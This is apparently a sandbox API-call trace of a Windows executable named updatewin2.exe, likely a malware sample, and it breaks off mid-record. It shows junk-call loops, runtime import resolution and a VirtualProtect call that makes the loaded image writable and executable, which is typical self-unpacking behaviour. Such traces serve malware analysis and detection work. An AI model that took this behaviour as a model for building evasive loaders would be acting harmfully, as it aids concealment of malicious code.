GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.608] AddAtomA (lpString=0x0) returned 0x0 [0053.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.608] AddAtomA (lpString=0x0) returned 0x0 [0053.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.614] AddAtomA (lpString=0x0) returned 0x0 [0053.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.614] AddAtomA (lpString=0x0) returned 0x0 [0053.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.614] AddAtomA (lpString=0x0) returned 0x0 [0053.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.614] AddAtomA (lpString=0x0) returned 0x0 [0053.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.615] AddAtomA (lpString=0x0) returned 0x0 [0053.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.615] AddAtomA (lpString=0x0) returned 0x0 [0053.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.615] AddAtomA (lpString=0x0) returned 0x0 [0053.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.615] AddAtomA (lpString=0x0) returned 0x0 [0053.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.615] AddAtomA (lpString=0x0) returned 0x0 [0053.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.615] AddAtomA (lpString=0x0) returned 0x0 [0053.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.615] AddAtomA (lpString=0x0) returned 0x0 [0053.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.615] AddAtomA (lpString=0x0) returned 0x0 [0053.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.615] AddAtomA (lpString=0x0) returned 0x0 [0053.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.615] AddAtomA (lpString=0x0) returned 0x0 [0053.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.615] AddAtomA (lpString=0x0) returned 0x0 [0053.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.615] AddAtomA (lpString=0x0) returned 0x0 [0053.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.616] AddAtomA (lpString=0x0) returned 0x0 [0053.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.616] AddAtomA (lpString=0x0) returned 0x0 [0053.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.616] AddAtomA (lpString=0x0) returned 0x0 [0053.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.616] AddAtomA (lpString=0x0) returned 0x0 [0053.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.616] AddAtomA (lpString=0x0) returned 0x0 [0053.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.616] AddAtomA (lpString=0x0) returned 0x0 [0053.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.616] AddAtomA (lpString=0x0) returned 0x0 [0053.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.616] AddAtomA (lpString=0x0) returned 0x0 [0053.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.616] AddAtomA (lpString=0x0) returned 0x0 [0053.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.616] AddAtomA (lpString=0x0) returned 0x0 [0053.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.616] AddAtomA (lpString=0x0) returned 0x0 [0053.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.617] AddAtomA (lpString=0x0) returned 0x0 [0053.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.617] AddAtomA (lpString=0x0) returned 0x0 [0053.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.617] AddAtomA (lpString=0x0) returned 0x0 [0053.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.617] AddAtomA (lpString=0x0) returned 0x0 [0053.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.617] AddAtomA (lpString=0x0) returned 0x0 [0053.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.617] AddAtomA (lpString=0x0) returned 0x0 [0053.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.617] AddAtomA (lpString=0x0) returned 0x0 [0053.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.617] AddAtomA (lpString=0x0) returned 0x0 [0053.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.617] AddAtomA (lpString=0x0) returned 0x0 [0053.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.617] AddAtomA (lpString=0x0) returned 0x0 [0053.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.617] AddAtomA (lpString=0x0) returned 0x0 [0053.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.618] AddAtomA (lpString=0x0) returned 0x0 [0053.618] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.618] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.618] AddAtomA (lpString=0x0) returned 0x0 [0053.618] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.618] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.618] AddAtomA (lpString=0x0) returned 0x0 [0053.618] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.618] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.618] AddAtomA (lpString=0x0) returned 0x0 [0053.618] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.618] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.618] AddAtomA (lpString=0x0) returned 0x0 [0053.618] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.618] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.618] AddAtomA (lpString=0x0) returned 0x0 [0053.618] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.618] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.618] AddAtomA (lpString=0x0) returned 0x0 [0053.618] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.618] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.618] AddAtomA (lpString=0x0) returned 0x0 [0053.618] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.618] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.618] AddAtomA (lpString=0x0) returned 0x0 [0053.618] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.618] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.618] AddAtomA (lpString=0x0) returned 0x0 [0053.618] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.618] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.618] AddAtomA (lpString=0x0) returned 0x0 [0053.618] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.618] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.619] AddAtomA (lpString=0x0) returned 0x0 [0053.619] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.619] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.619] AddAtomA (lpString=0x0) returned 0x0 [0053.619] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.619] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.619] AddAtomA (lpString=0x0) returned 0x0 [0053.619] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.619] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.619] AddAtomA (lpString=0x0) returned 0x0 [0053.619] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.619] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.619] AddAtomA (lpString=0x0) returned 0x0 [0053.619] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.619] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.619] AddAtomA (lpString=0x0) returned 0x0 [0053.619] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.619] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.619] AddAtomA (lpString=0x0) returned 0x0 [0053.619] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.619] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.638] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0053.638] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0053.639] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0053.639] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0053.639] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0053.639] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0053.639] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0053.639] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0053.639] SetErrorMode (uMode=0x400) returned 0x0 [0053.639] SetErrorMode (uMode=0x0) returned 0x400 [0053.639] GetVersionExA (in: lpVersionInformation=0x18e568*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e568*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.639] VirtualAlloc (lpAddress=0x0, dwSize=0x2d800, flAllocationType=0x1000, flProtect=0x4) returned 0x220000 [0053.648] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5f0 | out: lpflOldProtect=0x18f5f0*=0x2) returned 1 [0053.765] VirtualFree (lpAddress=0x220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.766] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSize") returned 0x76c3196e [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0053.767] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.772] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0053.772] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxA") returned 0x74fafd1e [0053.772] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0053.772] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0053.772] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0053.772] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0053.772] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0053.775] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0053.776] atexit (param_1=0x5363d8) returned 0 [0053.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5f4 | out: lpSystemTimeAsFileTime=0x18f5f4*(dwLowDateTime=0x8dfdbfe0, dwHighDateTime=0x1d56c59)) [0053.777] GetCurrentThreadId () returned 0xad8 [0053.777] GetCurrentProcessId () returned 0xad4 [0053.777] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5ec | out: lpPerformanceCount=0x18f5ec*=17411969858) returned 1 [0053.868] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0053.869] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.869] GetLastError () returned 0x57 [0053.870] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.870] GetLastError () returned 0x57 [0053.870] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0053.870] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0053.871] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.871] GetLastError () returned 0x57 [0053.871] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.871] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0053.872] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.872] GetLastError () returned 0x57 [0053.872] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.873] GetLastError () returned 0x57 [0053.873] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0053.873] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0053.873] GetProcessHeap () returned 0x520000 [0053.873] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.873] GetLastError () returned 0x57 [0053.873] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.873] GetLastError () returned 0x57 [0053.873] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0053.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x364) returned 0x54ad00 [0053.874] SetLastError (dwErrCode=0x57) [0053.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0xc00) returned 0x54b070 [0053.876] GetStartupInfoW (in: lpStartupInfo=0x18f528 | out: lpStartupInfo=0x18f528*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033e0, hStdOutput=0x81a4eeff, hStdError=0xfffffffe)) [0053.876] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0053.876] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0053.876] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0053.876] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe\" " [0053.876] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe\" " [0053.876] IsValidCodePage (CodePage=0x4e4) returned 1 [0053.876] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f548 | out: lpCPInfo=0x18f548) returned 1 [0053.876] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ee10 | out: lpCPInfo=0x18ee10) returned 1 [0053.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eba8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 